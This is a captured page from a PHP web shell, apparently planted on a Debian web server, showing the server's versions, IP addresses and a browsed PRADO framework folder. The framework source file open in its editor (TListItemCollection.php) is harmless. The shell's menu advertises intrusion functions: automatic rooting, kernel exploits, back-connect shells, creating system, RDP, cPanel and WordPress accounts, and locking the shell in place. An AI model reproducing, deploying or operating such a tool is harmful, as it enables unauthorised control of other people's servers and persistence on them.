Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 52.15.191.241
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Collections /
[ HOME SHELL ]
Name
Size
Permission
Action
IPriorityItem.php
594
B
-rw-r--r--
TAttributeCollection.php
5.45
KB
-rw-r--r--
TDummyDataSource.php
1.49
KB
-rw-r--r--
TDummyDataSourceIterator.php
1.83
KB
-rw-r--r--
TList.php
10.73
KB
-rw-r--r--
TListItemCollection.php
4.52
KB
-rw-r--r--
TMap.php
7.76
KB
-rw-r--r--
TPagedDataSource.php
6.32
KB
-rw-r--r--
TPagedList.php
9.64
KB
-rw-r--r--
TPagedListFetchDataEventParame...
1.93
KB
-rw-r--r--
TPagedListIterator.php
2.21
KB
-rw-r--r--
TPagedListPageChangedEventPara...
1.03
KB
-rw-r--r--
TPagedMapIterator.php
2.37
KB
-rw-r--r--
TPriorityList.php
26.44
KB
-rw-r--r--
TPriorityMap.php
17.31
KB
-rw-r--r--
TQueue.php
4.1
KB
-rw-r--r--
TQueueIterator.php
1.92
KB
-rw-r--r--
TStack.php
3.99
KB
-rw-r--r--
TWeakCallableCollection.php
11.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TListItemCollection.php
<?php /** * TListItemCollection class file * * @author Robin J. Rogge <rojaro@gmail.com> * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Collections; use Prado\Exceptions\TInvalidDataTypeException; use Prado\TPropertyValue; use Prado\Web\UI\WebControls\TListItem; /** * TListItemCollection class. * * TListItemCollection maintains a list of {@link TListItem} for {@link TListControl}. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TListItemCollection extends TList { /** * Creates a list item object. * This method may be overriden to provide a customized list item object. * @param int $index index where the newly created item is to be inserted at. * If -1, the item will be appended to the end. * @return TListItem list item object */ public function createListItem($index = -1) { $item = $this->createNewListItem(); if ($index < 0) { $this->add($item); } else { $this->insertAt($index, $item); } return $item; } /** * @param null|mixed $text * @return TListItem new item. */ protected function createNewListItem($text = null) { $item = new TListItem(); if ($text !== null) { $item->setText($text); } return $item; } /** * Inserts an item into the collection. * @param int $index the location where the item will be inserted. * The current item at the place and the following ones will be moved backward. * @param TListItem $item the item to be inserted. * @throws TInvalidDataTypeException if the item being inserted is neither a string nor TListItem */ public function insertAt($index, $item) { if (is_string($item)) { $item = $this->createNewListItem($item); } if (!($item instanceof TListItem)) { throw new TInvalidDataTypeException('listitemcollection_item_invalid', get_class($this)); } parent::insertAt($index, $item); } /** * Finds the lowest cardinal index of the item whose value is the one being looked for. * @param string $value the value to be looked for * @param bool $includeDisabled whether to look for disabled items also * @return int the index of the item found, -1 if not found. */ public function findIndexByValue($value, $includeDisabled = true) { $value = TPropertyValue::ensureString($value); $index = 0; foreach ($this as $item) { if ($item->getValue() === $value && ($includeDisabled || $item->getEnabled())) { return $index; } $index++; } return -1; } /** * Finds the lowest cardinal index of the item whose text is the one being looked for. * @param string $text the text to be looked for * @param bool $includeDisabled whether to look for disabled items also * @return int the index of the item found, -1 if not found. */ public function findIndexByText($text, $includeDisabled = true) { $text = TPropertyValue::ensureString($text); $index = 0; foreach ($this as $item) { if ($item->getText() === $text && ($includeDisabled || $item->getEnabled())) { return $index; } $index++; } return -1; } /** * Finds the item whose value is the one being looked for. * @param string $value the value to be looked for * @param bool $includeDisabled whether to look for disabled items also * @return null|TListItem the item found, null if not found. */ public function findItemByValue($value, $includeDisabled = true) { if (($index = $this->findIndexByValue($value, $includeDisabled)) >= 0) { return $this->itemAt($index); } else { return null; } } /** * Finds the item whose text is the one being looked for. * @param string $text the text to be looked for * @param bool $includeDisabled whether to look for disabled items also * @return null|TListItem the item found, null if not found. */ public function findItemByText($text, $includeDisabled = true) { if (($index = $this->findIndexByText($text, $includeDisabled)) >= 0) { return $this->itemAt($index); } else { return null; } } /** * Loads state into every item in the collection. * This method should only be used by framework and control developers. * @param null|array $state state to be loaded. */ public function loadState($state) { $this->clear(); if ($state !== null) { $this->copyFrom($state); } } /** * Saves state of items. * This method should only be used by framework and control developers. * @return null|array the saved state */ public function saveState() { return ($this->getCount() > 0) ? $this->toArray() : null; } }
Close